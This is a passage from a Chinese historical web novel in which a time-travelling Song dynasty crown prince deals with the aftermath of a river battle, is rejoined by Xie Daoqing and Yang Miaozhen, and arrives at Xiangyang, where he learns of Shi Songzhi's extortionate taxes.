尤其是杨妙真,眼睛瞪得像铜铃大,心里暗道:这是赵大官家?怎么看着像我们山东绿林好汉才能做出来的事?掰着手指头数数赵大官家的历代皇帝,这太子的举动,还真是大姑娘上轿,头一回。不要说大宋,就是往上再查八百年,也没有过这么性子野的太子。
再看看太子身后作证的俩人,那俩人好像也不是什么身份高贵的龙种凤孙。其中一人更是衣着朴素,一副穷酸文人得落魄相。
这太子,为什么要和这些人结拜?是有什么难言之隐吗?又或是单纯的兴趣爱好?还是说,他单单看中了这些底层草民身上的某些本领?
“:殿下,您的举动,让民女有些看不懂。”
“:哦?怎么说?”
“:殿下身份金贵,
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虽然我们这些草民在底层打拼出了些许名声,但以您那金光闪闪的龙子身份,屈尊和我们这些不知终日梦为鱼的草民结拜,身份相差太悬殊。”
话到这里,宋宇皱眉思虑了片刻,这才抬起头,一脸认真的盯着杨妙珍“:人生来本无贵贱之分,只是所行之路不同罢了。含着金汤匙出生,未必就是胜了,身份卑微,却洁身自爱,未必就是输了。嫌弃人卑贱不愿意正眼待人,在我看来,无知至极。当年的汉高祖,也不过是个底层的草民。可有人嫌弃过他出身卑微?”
一席话,把杨妙珍说的愣在了当场。
刘全还没看出来这里面的门道,眼见这太子挖墙脚,挖的如此不讲究,正色质问道“:殿下,您刚才好像从我们忠义军,挖墙角了。”
宋宇看着面前这位娘舅,心中冷笑,这草包还真是货真价实,也不看看现在什么情况,竟如此直白,说我挖墙脚。
你若不是杨妙珍娘舅,本殿下早把你扔江里喂鱼了。
宋宇正在心里暗骂这刘全不识抬举,身后彭义斌却怒了,只见他伸出右手,怒目而视,指着刘全鼻子骂道“:老匹夫,若非殿下开恩,你这厮早已命葬黄泉,如何敢大言不惭,毁俺太子兄弟。”
刘全被彭义斌指着鼻子骂了一通,吓得直缩脖子,拽了拽身前杨妙珍衣角“:妙珍,你怎生不说两句?”
杨妙珍看自己娘舅被说的直缩脖子,向自己求助,便对着宋宇拱了拱手“:殿下,至于彭兄弟的去留,自由他做主便是。只是不知殿下,想要如何处置我两人?”
杨妙珍不失时宜得提出了问题:既然你太子留下了两人,那剩下的,总不能都留下吧?
宋宇听得杨妙珍询问,用右手揉着下吧,沉思了片刻,暗道:杨妙珍可是山东义军的头领之一,不像彭义斌,只是个下边的将军。想要把杨妙珍留在身边,得好好编个理由。
想到这里,宋宇抬起头,也不理会周围众人,在赵国的搀扶下,走到了船舷。指着面前尚未沉江得船骸,与那满江的尸首感叹道“:可惜啊,都是大好得儿郎,却无端端成了某些人得垫脚石。不免让人唏嘘。”
感慨完,凝视了江面片刻,回头询问王坚道“;王兄弟,此战损失几何?”
王坚被宋宇询问,上前一步,拱手回道“:此战小弟所率战船十五艘,兵士六百。损坏战船七艘,沉八艘。兵士几乎全数阵亡,无有生还。”
言罢,王坚有些哽咽,顿了顿才说道“:至于粮船,小弟尚未询问,吕将军那边,小弟也不知晓,待小弟招来吕将军,说与殿下。”
“:不忙事,想不到此战如此惨烈,看来襄阳之行,怕是要在此耽搁几日,等建康派船派兵了。”
宋宇话到此处,眉头紧锁,陷入了深思。许久,才灵光一闪,抬起头来,不好意思的看着杨妙珍说道“:杨姑娘,敢问你忠义军,可否愿帮本殿下运粮荆襄?”
第五十六回 太子的承诺 意外的重逢
杨妙珍尚未答复,一旁刘全抢先开口了,只见他对着杨妙珍急声劝道“;妙珍,不可啊。”
现在的刘全,只想离宋宇这煞星越远越好,巴不得现在就回山东继续过山大王的逍遥日子,
“:哦?有何不可?”宋宇挑眼向刘全看去。
刘全被宋宇这么一看,登时心虚“;这,这这这,我等出行日久,万一金兵趁我忠义军后防空虚,发兵偷袭,岂不坏了大事?”支支吾吾了半天,刘全才找到了这么一个十分牵强得借口。
宋宇一听这荒唐的解释,心中微怒:麻蛋,做贼的时候不怕,现在倒怕了?
正待开口拆穿他,一旁杨妙珍见宋宇面有怒色,率先开口了“:此事皆因我等而起,若能助殿下解了此急,想必那些无辜惨死得军士,九泉之下,能稍微原谅我等得糊涂之举。”杨妙珍温柔的对宋宇说道。
“;啊?哈哈...杨姑娘果是女中豪杰,通晓事理。本殿下佩服。那此行,便有劳杨姑娘了。你可继续率领手下朦艟,随本殿下督粮荆襄,解前线将士之急。”
刘全一听,本来忧虑的表情转为喜悦,暗道:本以为要被作为人质扣押,没想到太子交还人马,这不就有机会开溜了?
想到此,刘全慌忙拽了拽杨妙珍衣角。杨妙珍回头看了看自己的娘舅,知道他又要犯糊涂,无奈的摇了摇头,随即转过身,对着宋宇询问道“:殿下就不怕?”
“:四娘子说笑了,本殿下信得过你。你且放心,本殿下绝不是那出尔反尔之人。”不待杨妙珍说完,宋宇抢答道。
“:多谢殿下信任。”杨妙珍行了个拱手礼,又转过头,对着旁边刘全吩咐道“:传令全军,为殿下护粮。”
刘全听了杨妙珍话语,屁颠屁颠的跑到船头,对着江上得忠义军船队喊起了命令。
杨妙珍则对着宋宇继续说道“:殿下有何命令,尽管吩咐兵士传达便是。妙珍这就回去指挥了。”
“;有劳杨姑娘了,到了荆襄,本殿下定然奏明父皇,名言杨姑娘深明大义。”宋宇赶忙回道。
杨妙珍一听这个,忙红着脸推脱“:殿下言重了,实不必奏报朝廷。还望殿下准许,此事了了之后,休要在说与别人,以免让世人笑话我忠义军。”
言毕,杨妙真对宋宇告了辞,领着刘全,回到了忠义军船队。
待送走了杨妙珍,宋宇突觉得少了一人:唉?小小呢?这丫头去哪了?
宋宇回头对着身旁众人问道“:小小那丫头,你们可曾见到?”
余阶见宋宇询问起小小的去向,慌忙解释道“:小弟知晓,小小姑娘方才见敌军投降,便火急火燎得奔着殿下座船而去,小弟询问了句,小小姑娘说是有紧要物事在那船仓内,怕被敌军掠去。”
“:哦?要紧物事?有什么东西能让这丫头如此上心?难道是她那个大的不像话的箱子里的衣服?话说那也值不了几个钱啊?”
宋宇突想起了小小那日的大箱子,心生疑惑。也不想再在王坚船上耽搁,吩咐了句“:王兄弟,余老幺,彭兄弟,这打扫战场,救治伤兵,便交给你们了。我身体不适。且先回座船修养去了”言毕,在赵国的搀扶下,虚弱的向自己那艘残破的座船走去。
余阶等人得了吩咐,忙着收拾残局,整备兵士。
这边宋宇在赵国得搀扶下,虚弱的走回了座船,只见经过一场混战得座船,此时前侧船身上,突兀的几个大洞显现,估计是被朦艟撞的,还好这朦艟前边金属前刺较高,没有撞在吃水线之下,不然,这艘船估计早就沉了。
宋宇没有过多停留,吩咐程保继续向船舱内走去,此时他对小小的要紧物事,充满了好奇,迫不及待想要一探究竟。
走入内舱,地上沉积着一层浅浅的江水。估计是从那些个破洞涌进来的。只听赵国在旁说道“;殿下,看来这艘船不能呆了,殿下不若换艘船。”
“:近半的战船毁损,想不到此战竟如此凶险,若非谢姑娘提前告知,今日只怕我等已葬命于此。”宋宇不住的摇头,叹息着说道。
“:小弟觉得这谢姑娘人美心善,虽然黑了些,但为了殿下,不辞辛苦,远赴建康相救。可见他对殿下是一片真心。”赵国在一旁打秋风道。
“:诶?你怎么不结巴了?平素两句一喘,现在说话怎么如此利索?”宋宇忙岔开话题。
心里暗道这赵国哪壶不开提哪壶。前些日子,自己刚把谢道清一个女孩子扔在了建康,独自跑了。
话说自己这辈子就没做过这么痛苦的决定。这几日更是闭上眼就看见谢道清在建康迷了路,又被几个小混混欺负,可真是把自己搞得茶不思饭不香。
“:这这这,小小,弟。一激动,就就就,结巴。”宋宇话音刚落,这赵国又开始结巴了。
宋宇赶忙阻止他“;罢了,还是莫要说话了,听着累。”
言毕,宋宇在赵国的搀扶下,深一脚浅一脚的在已经膝盖深得水中行走,奔着小小的房间而去。
待走到门口,宋宇只听舱内传来说话之声,出于好奇,将脸贴到了舱门处,静听了起来。
只听小小那丫头开口“:清儿姐,方才吓死我了,我还以为你。”
“:没事,好着呢,自打外边喊杀声起,我便躲入了这箱子之中。这些贼人,愣头愣脑的只在外边厮杀,并未走入内舱抢掠。”
一个温柔的女声响起,宋宇在听到这个声音的一瞬间,身上不禁汗**倒竖。
也不管屋内情况如何,撇开搀扶自己的赵国,推开门闯了进去。
目光左右一扫,最后定格在屋内一个大箱子上,就见箱子上坐着两位姑娘,正光着脚,踢着脚下的水,有一搭没一搭的聊天。
此时宋宇突兀的闯了进来,还真吓到了两人,只见小小嗔怪着说道“:殿下,怎生不敲门,便闯入人家闺房?”
哪知宋宇并未理她,而是指着旁边另一位以手遮
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脸的姑娘,吃惊的大声说道“:谢道清,谢姑娘。你?你怎么会在这?”一句话没说完,宋宇顿感虚脱,两眼一黑,晕倒在了地上。
两位姑娘一看此景,也顾不得许多了,慌忙从不太深的积水中,将宋宇捞了起来。
又忙招呼并未进屋的赵国帮忙,将宋宇抬到了小小那尚未被积水淹没的绣床上。
也不知过了多久,宋宇才睁开了双眼,只见床边一人对着自己说道“;殿下,你醒了?”
“;你是谁?”宋宇开口问道。
“:小人是随船的郎中。”那人谦卑的回答道。
“:额,我这是怎么了?生病了?”宋宇听此人说是郎中,虚弱的问道。
“:殿下气息平稳,脉象正常。并非生病之兆。只不过殿下双眼血红,脸色惨白,依小人看,可能是殿下长时间未休息,再加上这两日劳累过度,导致气血亏损累到了。”郎中笑着回答道。
宋宇长舒一口气,这几日由于心里烦乱,也没怎么休息,再加上掉入水中,估计是连吓带累,虚脱了。
如此想着,宋宇突然感到腹中饥饿,对着郎中说道“;有没有饭?我饿了。”
郎中见宋宇吩咐,离开了床边,转身对着身后满满一屋人说道“:殿下醒了,不过还有些虚弱,现在可给殿下准备些参茶,补一补。外边还有许多伤兵,小人便告辞了。”
郎中言毕,对着屋内众人拱了拱手,告辞离去。
郎中刚走,屋内一女子便端着一碗参茶,走到了宋宇床前“:殿下,起来喝碗热汤吧。”女子面带微笑,温柔的对着宋宇说道。
“:清儿,真的是你,你是如何混上船的?哦,我知道了,是那个大箱子。你,外边刚才打仗,**好些人。你不怕吗?”宋宇一看是谢道清,劈头盖脸一顿数落。
谢道清调皮的眨眼笑了笑“:小女子自有妙计保身,不管殿下你走多远,清儿也要跟着你。”
“:你这又是何苦?我一个朝不保夕得落魄太子,实是让清儿错爱了。况且在我成为太子之前,只不过是一个普通人,若不是运气好,被立为太子,恐怕这一世都不敢抬头看你一眼。”宋宇有些自卑得说道。
“:殿下,都是血肉之躯,谁又能比谁高贵到哪里?所谓高贵,不过是从不如他命好的人身上,对比出优越罢了。人生不过短短数十载,在清儿看来,能在这甚至不如树木长的生命里,找到那个可以托福终身的人,才是人生的价值所在。殿下,别再多想了,好好保重身体,先喝几口热汤,暖暖身子。”
谢道清一席话说完,坐到了宋宇床边,端着碗,舀了一勺热汤,放到嘴边吹了吹,确认不烫嘴,这才将勺递到了宋宇嘴边“:殿下,张嘴,清儿可是亲自喂你喝了。”
宋宇看着面前温柔的谢道清,叹了口气“;唉。也不知道上辈子是不是欠你的,我是真说不过你。看得更没有你通透。你把碗给我,我自己喝。”
第五十七回 战后的损失 杨妙珍得报恩
言毕,宋宇强自挺了挺身子,靠在了床沿上,伸手从谢道清手里接过了汤碗。埋头喝了起来。
谢道清尴尬的搓了搓手,站到了一边。静静的看着宋宇喝汤,不再言语了。
待宋宇将整碗汤喝了个底朝天,这才转过头,看向了屋内站立的众人“;你们有什么事,说吧。本殿下没事了。”
王坚率先站出来说道“:殿下,此次损失,小弟已经算清,共损战船十艘,沉八艘,其中破损战船五艘因露水严重,无法继续航行,只能原地等待建康水军来救。粮船损六艘,不过破损不太严重,还可继续航行。至于兵士,此行共带兵士一千八百人,阵亡九百余人,伤五百余人,其中二百余人伤势过重,无法继续呆在军中,小弟已安排好,让他们原地守护无法继续航行的船只,等待建康水军来援。
至于忠义军那边,此行他们共有一百零五艘朦艟出战,沉六十艘,损三十余艘。半数以上损毁不算严重,稍加修复便可继续航行。此战忠义军共出战五千余名将士,阵亡失踪近四千余人,剩余不足一千,也有近半带伤。四娘子已经调拨出去一半朦艟,带这些个伤兵回山东,剩下三十余艘朦艟与五百余名军士,会继续跟随我军督粮荆襄。”
“;余老幺,给我父皇起草一份诏书,将此战的详细情况写明,给这些阵亡带伤得将士,多争些抚恤。莫要让他们无辜枉死,另外,莫要说是与忠义军激战,就说是江上贼寇,已被本殿下尽数剿灭。还请我父皇安心。”宋宇听了损失,对着旁边余阶说道。
余阶领了声喏,退出舱室,起草诏书去了。
一旁杨妙珍听了宋宇之言,满脸感激的站了出来“;多谢殿下开恩,我替忠义军,谢谢您了。”言罢,杨妙珍跪在地上,一连给宋宇磕了三个响头。
宋宇尴尬的笑了笑“:四娘子莫要言谢,举手之劳而已,况且此次有奸人蛊惑,与你忠义军无有半点关系,你我两方素无愁怨,此次互相攻击,损失惨重,那人却隔岸观火,看你我两方斗得两败俱伤,实是鹬蚌相争,渔翁得利。若现在你我两方仍旧一意孤行,继续斗下去,只会让亲者痛,愁着快。但凡有点良知,都知道要互相提携,共度难关才是。”宋宇一席大道理说完,对着周围众人使了个眼色,示意将杨妙珍扶起来。
“;殿下,现下已然准备妥当,小弟敢问,何时起航?”王坚将一旁的杨妙珍扶起,继续问道。
“;宜早不宜迟,前方兵士都在饿肚子,早到一天,便能早日让这些兵士吃个饱饭,既然已经准备妥当,现下便出航吧。”宋宇这次吃了大亏,损失惨重,为避免夜长梦多,决定马上启航。
王坚得了令,转身走出去,吩咐开船事宜去了。屋内众人,又对宋宇嘘寒问暖了一番,也乖乖的退了出去。
只剩下小小赵国谢道清三人,尚在屋内站着不言语。宋宇四下扫了一眼“:换船了?这船内怎么没有积水了?”宋宇看气氛有些尴尬,开口说道。
小小忙答道“:殿下座船损毁严重,船舱内满是积水。王将军便吩咐,将殿下转到了此船。”
“:哦。”宋宇听了小小言语,点了点头,又将目光看向了屋内其余两人,最后定格在了谢道清身上“:清儿?现在还没开船,你要回去,还有机会。再晚片刻,就只能与我一同去襄阳了。”
谢道清长出一口气“:殿下不要再多问了,早在偷偷上船的那一刻,清儿就下定决心,就算前面刀山火海,也绝不后退半步。”
看着谢道清那坚毅的眼神,宋宇终于死心“:既然你已经下定决心,我就不再劝你了。小小,安排一间房间给谢姑娘。”
“:不必那么麻烦了,我和小小一间房间便好。”
小小也开心的挽住了谢道清胳膊“:清儿姐这几日都和我睡一个屋,何必在找房间?”
看着两个身份差距悬殊的人,关系好的跟一个人似的,宋宇暗道这女人之间的友谊,还真是摸不透。
“:,这样也好,是我多虑了。话说船上就你们俩姑娘,睡一块互相也有个照应。”
谢道清听着宋宇言语中有轻视女子之意,眉角一挑,对着宋宇说道“:殿下,你把我们两个当成弱女子真是大错特错。今日若不是小小姑娘下水救了你,殿下你早就一沉到底了。再者,劫船的首领四娘子不也是个姑娘家吗?人家不也天天和一群大老爷们混在一起,也没人说他的闲话。”
宋宇被谢道清一席话说的语塞,暗道:谢道清自从跟自己关系越来越好以后,脾气也是与日俱增。现在都敢揭自己的短了。关键自己还说不过她,看来以后开口之前,要好好梳理下想说的话,以免惹她生气。
“:对了,你们救我上来后,有没有人工呼吸?”
小小一脸疑惑的问道“:殿下,何谓人工呼吸?”
宋宇一听,老脸一红“:是啊,怎么又整出个后世的词,这可怎么解释“:这,就是嘴对嘴吹气,好让溺水的人恢复呼吸。”
小小脸上现出一丝红晕“:殿下,你说的是用嘴送气吧?”
“:啊,对。”宋宇摸着脑袋瓜子,傻笑着回答。
“;殿下,当时小小将你救起,正好碰上赵侍卫率船队来援,将殿下救上船后,就去舱内找东西弄干身体去了。“
宋宇听了小小之言,面色古怪的看向赵国,当目光聚焦在赵国那干裂的嘴唇,还有围绕在嘴唇边的一圈胡子茬茬上时,不禁吞了吞口水“:赵兄弟,你该不会?”
赵国眼见宋宇一脸惊恐的盯着自己嘴唇看,又联想到宋宇刚才提到的送气之法,心道宋宇八成是误会了什么“:殿下别误会,我没亲你。”
“:谁亲了?”
“:谁都没亲,我们是按照老方法,把殿下倒吊着将腹中积水排出。”
宋宇长出一口气“:吓死我了,我还当......”
却在这时,推门声传来,宋宇转头看去,就见杨妙珍再次迈着倩步走了进来“:殿下,多谢您给
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我们忠义军一个机会,妙珍感激不尽。特来致谢。”
“:哦!举手之劳而已,我不是说过,史弥远只是想隔岸观火,让你我两家斗得你死我活。只要杨姑娘能看清这之中的厉害,其他都不重要。”
杨妙珍听完宋宇话语,并未急着回答,反倒是扫视了一圈屋内众人,在看到屋内有两个姿色绝佳的姑娘之时,杨妙珍脸上露出一丝不易察觉的失落之色,很快一闪而逝,转头看向了宋宇“:殿下,有些话,当着这么些人,不好意思说。”
宋宇还未答复,一旁的赵国率先开口“:殿下,防人之心不可无,数个时辰前,还是敌人,现在要独处,未免来的蹊跷。”
杨妙珍被赵国指名道姓的怀疑,脸色羞红,低下了头。
宋宇看杨妙珍脸上并没有杀气,觉得奇怪,暗自思量了一会“:我相信杨姑娘的人品,你们先出去吧。”
得了宋宇命令,赵国也不好在说什么,留下一句“:殿下,但凡有危险,您大声喊叫便是。”
言毕,三人次第走了出去。
杨妙珍见所有人都出去了,此时屋内只剩自己和宋宇两人,心跳的越发快,脸比之前更加红润,只见她轻启朱唇“:听闻殿下好女色,为了让你我两家之后再无嫌隙,妙珍愿献身殿下。”
言毕,杨妙珍竟开始脱盔甲。
宋宇吓得直接从床上跳了下来“:杨姑娘,你误会了,好女色不过是史弥远传的本殿下的谣言。”
边说着,边走上前制止杨妙真继续脱衣服。
看着惊慌失色的宋宇,杨妙珍眼神中满是疑惑“:是我不漂亮吗?比不过门外那二位?”
“:绝对不是你的问题,杨姑娘,别乱想,门外那二位和本殿下之间也不是你想象中的那种关系。”
杨妙珍见宋宇话都说到这个份上,又不似作伪,这才停止了脱铠甲的动作“:看来传言不可信。娘舅的传言,更是不可信。”
宋宇一听又有刘全的事,顿时气不打一处来“:是刘全让你来的?”
杨妙珍却没有回答宋宇“:殿下,妙珍无事了,你身体刚刚好转,注意休息,告辞。”
却在这时,小小和谢道清跑了进来,尤其是谢道清,笑得很灿烂,跑上前一把搂住杨妙珍胳膊“:你就是那位把殿下逼到险些淹死的山东女豪杰四娘子杨妙珍?”
杨妙真被这突如其来的一幕搞得有些不知所措,尴尬的回答“:正是。”
“:山东英雄豪杰多吗?”
谢道清显然更喜欢英雄豪杰的轶事。
“:以前倒有些,好像这次,被殿下一锅端了。”杨妙珍面上明显挂不住,略显尴尬之色。
“:那你可要好好跟我讲讲,这些人的英雄事迹。”谢道清不依不挠,拉着杨妙珍的胳膊就往外走。
“:杨姑娘这身材,换上女装指定漂亮,正好小小刚买了好些新衣服,杨姑娘你给我讲英雄豪杰的轶事,你的故事也行,我呢,也不让你白忙,送你几件女装当作回礼。“
第五十八回 终于到襄阳 史嵩之请客
“:殿下有令,起锚开船。”几个姑娘有说有笑得走出房间后,江面上传来了此起彼伏的启航传令声。硕大的船队,缓缓地次第开动,向着荆襄之地,再次出发。
四日后,史弥远府中,此时史弥远正和自己那倒霉儿子,坐在前厅内喝茶。忽有门外守卫来报“:相爷,建康来书信了。”
“:哦?哈哈哈...莫不是赵竑那小犊子**?”史弥远一听,哈哈大笑。忙吩咐将书信呈上。
待展开书信,仔细端详,却是越看,脸色越黑。一旁的史施德见父亲面色不对,弱弱询问道“;爹,莫不是有变?”
史弥远垂头丧气的合上了书信,扫了一眼自己的宝贝儿子“:唉,李全这厮,成事不足,败事有余啊。淮河水师船只全搭进去不算,就连自己手下几员大将,也被掠了过去。就连主帅那大名鼎鼎得四娘子杨妙珍也被俘获,困在他赵竑小儿手中,李全这次,真是赔了夫人又折兵。”
史施德一听大惊“:里应外合,也败了?”
史弥远恶狠狠的咬着牙说道“;我儿莫惊,幸好为父我还有后手。只要赵竑那小犊子到了襄阳你叔叔那,管饱是个死。”
史施德一听,转忧为喜“:这大宋江山,明说姓赵,还不是被爹你攥在手心里。爹,你说我哪天能不能也弄个太子玩玩?”
史弥远却摇了摇头”:乖儿子,听爹一句劝,你不是当太子的料,朝堂上耳目众多,派系林立,彼此之间相攻击都是家常便饭的事。若是你当了太子,以后在想买扬州瘦马,都要看别人眼色,要是登基为帝,更是少了自由,动不动还有些个**给你弄个昏君的帽子带。”
“:那我不当太子了,还是当个官二代更好玩。”
那边史弥远计策又来,这边宋宇船队已经在长江之上行了七日,才由长江,转入了汉水。
到了这汉水,宋宇才知道为何要将粮草由海船转为江船了,只见这汉水河道不宽,水流湍急,若是海船,体积庞大,再加上逆水行舟,少不得搁浅。进了汉水,又行了五日,宋宇船队总算到了襄阳重镇。
南宋襄阳城的地理位置十分优越,汉水在这里自西向东拐了个弯,如同帽盔,保护着襄阳西北东三个方向。南方岘山又给襄阳形成一道天然的屏障。让襄阳与生俱来便适合打防守战。
再加上南宋多年经营,此地水网密布,水上交通便利。东连吴越,西通巴蜀,利尽南海。可谓兵家必争之地。
宋宇远眺襄阳城,就觉内心无比畅快:总算到了,这可是东方的君士坦丁堡啊。北人若想攻灭南宋,必先由此入,但这襄阳岂是纸糊的?他可是具备了冷兵器时代,所有坚城的特色,首先扼东西南北交通要道,内有水网流通,只要掌握着制江权,补给物资便能源源不断送入城内。
坚守个十年八年,也饿不着。其次更兼一批能工巧匠几十年如一日,对城墙进行加高改造。使得这襄阳城墙不论是宽度,高度,还是硬度。都是这大宋朝首屈一指的。
用一句话概括:襄阳可保东南半壁无忧,襄阳若失,这南宋也就基本上算是亡了。
眼见就要到目的地,船队中所有的将领,都集中到了宋宇座船上,等着宋宇安排接下来的任务。
宋宇看着面前一帮兄弟,笑着说道“:幸赖兄弟们一路护持,我这才有命,到这襄阳重镇一游。在此谢过。”言毕,对着周围众人拱了拱手,以示谢意。
周围众人赶忙回道“;殿下,言重了。”
宋宇谢过众人,转过头对王坚吕文德说道“;王兄弟,吕将军,你二人可留在船上指挥交付粮草之事,待事了后。便来襄阳驿站找我。我好答谢两位一路来的尽心尽力。”
王吕二将慌忙领诺,也不耽搁,各自行动,吩咐众兵丁转交粮草去了。
宋宇继续对着剩余人等下令“:至于余老幺,彭兄弟,小小,清儿,赵国,程保,我等且下船,到这襄阳游玩几日,也算不虚此行。至于霍仪,前些时日已经转醒,不过仍然下不了床,只能留在船上休养了。”
余阶等人一听游玩两字,都是面露喜色,纷纷领了诺。
宋宇见都安排完了,正要领着众人下船,却听远处一声问询“:殿下怎么独独把妙珍给遗忘了?
宋宇转头去看,就见杨妙珍一身红色长裙,短发披肩,在刘全陪伴下划着小船而来。
“:杨姑娘,你自领一军,我怕你事繁,所以没有叨扰。”
“;军中琐事,向来都有娘舅处理,妙珍从来只管**。再者,我也不光是来找殿下你。”说到这,杨妙珍将目光看向了谢道清。
“:杨姑娘大义,本殿下在此谢过,请。”宋宇这些时日本就一直在琢磨,怎么才能将杨妙珍留在身边。现在对方主动示好要一块上岸,宋宇开心的不得了。
可杨妙珍接下来的一番话,却直接给宋宇泼了一盆冷水“;殿下,襄阳之行后,妙珍打算回山东,”
“;这?要不要跟我去临安看看?临安很是繁华。”宋宇挽留。
杨妙珍面露难色“:这?”
“:不去临安,长江之上水寇颇多,回去的时候还请同行,彼此也好有个照应,到建康再分道扬镳如何?”
“:这,便与殿下一同回去。还望殿下到了建康,务必放我忠义军归去。”
杨妙珍见宋宇一再挽留,万般无奈之下,只好答应了下来。
一旁刘全看杨妙珍心软答应,脸色憋得通红,但看看宋宇身后彭义斌一直怒目而视,便缩了缩脖子,硬将到嘴边的话,咽了回去。
“:哈哈哈。如此便好,杨姑娘且与我等一并下船。在这襄阳游玩两日,所有花销,本殿下包了。”
宋宇见杨妙珍答应,这才收起紧张的神情,忙招呼众人下船。
待走到岸上,杨妙珍第一时间来到了谢道清身边,亲近的挽起了谢道清胳膊“:谢姑娘,多谢你前些日子送我的女装,说实话,长这么大,还是第一次穿这么漂亮的衣服。”
谢道清莞尔一笑“:你喜欢便好,等去了建康街市,再帮你买几件。”
几个姑娘又开始了聊天,却见码头不远处,已有一众襄阳文武立在岸边等候多时。
只见当先一大胖子领头跪拜道“:臣,京湖制置使史嵩之,携京湖文武百官,恭迎太子殿下。”言毕,大胖子领着身后一众官员给宋宇磕了三个响头。
“:哦?史嵩之?你
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与当朝史相,是何关系?”宋宇看这大胖子身板与史弥远极似,又说自己姓史,便询问道。
“;回殿下,史相乃是臣得异母兄弟。”史嵩之听了宋宇询问,抬头回道。
“:哎呀,我说不是一家人,不进一家门,感情你和史相的肥胖,是遗传啊。想本殿下与史相,就像是亲爷俩,在临安,就差好的晚上睡一个被窝了。你也不是什么外人,快快请起。”宋宇听明白了怎么回事,赶忙招呼史嵩之,并身后众官员起身。
史嵩之一听宋宇在百官面前跟自己拉关系,套近乎,立马屁颠屁颠的站了起来“;多谢殿下”
但起来后,史嵩之忽又琢么着宋宇刚才说的话不对味,爷俩?这殿下是不是用词不当?但他也不敢询问,继续舔着脸对宋宇说道“;殿下,下官在寒舍备了些酒宴,还请殿下赏脸。”
“:哦?既然是史大人邀请,本殿下岂有推辞之理?不过在船上颠簸了数日,且容本殿下先回驿站,梳洗一番,换身衣服,再到史大人府上饮宴如何?”
宋宇一听这史嵩之要请客,很是开心。开口便答应了下来。
“;既然如此,那下官便回去准备了,殿下忙完后,尽可来下官府上便可。”史嵩之见宋宇答应了下来,露出讨好似的微笑。
“:史大人不送。”对着史嵩之告了辞,又招呼周围一众站桩得文武退下。
宋宇这才长出一口气,对着身后众人说道“:有人请客,不去白不去,今晚上一起去,就当自己家可劲吃,可劲儿造。”
“:殿下,这史家兄弟,皆是贪鄙粗陋之辈,只怕是宴无好宴啊?”余阶在一旁提醒宋宇。
宋宇摆了摆手“;兵来将挡,水来土掩。我身边现在站的,可谓皆是天下英才。我就还不信了,就这阵势,还怕他史嵩之下黑手?”
言毕,宋宇哈哈大笑,边招呼众人快走,边说道“:走,且回驿站,休息片刻,便到这史嵩之府上白吃白拿。”
在驿站休息了片刻,换了身衣服后,宋宇便让程保赵国传唤众人,驿站门口集合。
到了门口,发现除了一帮大老爷们,三个女人全都没出来,宋宇不禁感叹道“;女人啊。”
“;女人怎的了?殿下?”宋宇话未说完,一道女声从身后传来。
宋宇回头一看,乖乖,只见三个姑娘结伴走了出来,说话之人毫无疑问是谢道清。
“:没事,女人好得很。又能打,又能做饭,还能照顾人。”
“;咳恩,殿下,见笑了,妙珍只懂些拳脚。”
“:清儿只懂做饭。”
“:那小小就是那个会照顾人的了?”
三个女人聪慧的一一对号入座,随即白了宋宇一眼,勾肩搭背有说有笑的先行一步。
眼见三人孤立自己,宋宇自嘲似的苦笑一声:话说这三人关系什么时候好到同仇敌忾了?话说杨妙珍才认识谢道清俩人没多久吧?
迷茫的摇了摇头,宋宇对着其余人吩咐道“:咱们也别耽搁了,出发吧。”
史嵩之府上,此时史嵩之正坐在太师椅上,与下手位置,一身穿盔甲之人攀谈“:盛将军,这赵竑小儿,竟然活着来到了襄阳,实是命大啊。”
第五十九回 萧条的街市 史大人四爱
穿盔甲之人名换盛章,时任侍卫马军司指挥使,是史弥远的心腹走狗,至于本事如何,却不得而知。
只见这盛章听得史嵩之所言,一脸不削的说道“:哼,风流馕货,却屡次死里逃生,也不知是吃了狗屎,还是怎的?运气好的不像话。”
“;盛大人,莫要小瞧了这厮,现下这厮就在来此赴宴得途中,如何安排,可有妙计?”史嵩之见这盛章十分小瞧宋宇,慌忙劝道。
“:史大人尽可放心,谅他赵竑小儿如何本事,今次也定让他有来无回。”盛章一脸邪笑说道。
宋宇一行人好容易打听到了街市所在,可到了街市,眼前萧条的景象却让一行人愣在了原地。
只见这街市上,稀稀拉拉的几个货郎,还都是卖紧要物品,柴米油盐之类。
见此情景,谢道清一脸扫兴的问宋宇道“:殿下,为何这襄阳街市如此萧条?一路走来,竟没有几个卖货的货郎?”
“:这,我也不知个中缘由,不如去前边问问那卖米的货郎如何?”言罢,宋宇领着一行人走到了卖米摊铺前。
只见这卖米的,乃是一对中年夫妻,见有几个穿着华丽之人向自己摊铺走来,男人慌忙陪笑道“:几位大爷,买米?”
“:啊,想向你打听个事。”宋宇婉拒道。
“;这,还请详说。”货郎犹豫了片刻说道。
“:为何这襄阳城得街市如此萧条?”宋宇疑惑的问道。
边说着,边吩咐余阶,取了些散碎银子,放到了货郎面前。
货郎得了钱,一扫犹豫之色,不过还是十分谨慎的小声回答道“:几位一看就是外地来的,其实早在一年前,前制置使赵方大人在时,咱这襄阳也不似这般萧条,但自从......”
话到此处,货郎再次压低了声音,四下扫了一眼“;自从这史嵩之大人上任后,可谓是挖地三尺,就在这街市上摆个摊,竟有几十项税负。前些日子,听衙门里的人放出风声,这赋税种类,还有增加的趋势,可是害苦了我们这些做小买卖的。这不,不到一年,这街市上便连个人影都没了。”言毕,伤心的指了指萧条的大街。
宋宇一听税负高达几十项,脱口而出“:收这么多税,是要花在哪?”
货郎一脸苦水“:一看您就是外地来的,实话跟您说吧,我们这位史大人,是那当朝宰相的胞弟,平素有四大爱好。”
“:四好?说来听听。”
“:这其一,史大人爱美色。”
“:这有什么大不了的?哪个男人不好色?”
“:史大人的好色,别具一格,就前天,史大人刚刚在秦淮买了自己的第七百六十三位小妾。那小妾是新近秦淮选出的花魁,听说花了十万贯。”
“:多少?七百多位?他忙得过来吗?”
“:这就是史大人最与众不同的地方,听人说,史大人对女人,三五天就厌烦了,换衣服似的换的勤。”
“:还有什么爱好?说来听听。”
“:这第二大爱好,就是好炼丹。专门在府内请来个道士,日夜为其炼制长生不老丹呀,壮阳丹呀之类的。”
宋宇听到这,暗道:这两样还真是烧钱的行当。怪不得这么多税种。
“:您继续。”
“:第三大爱好,就是好礼佛,府内请来得到高增,日日与史大人讨论佛法。”
“:这个听着没毛病啊?跟花钱没什么关系吧?再者,礼佛的人,还能这么好色?”
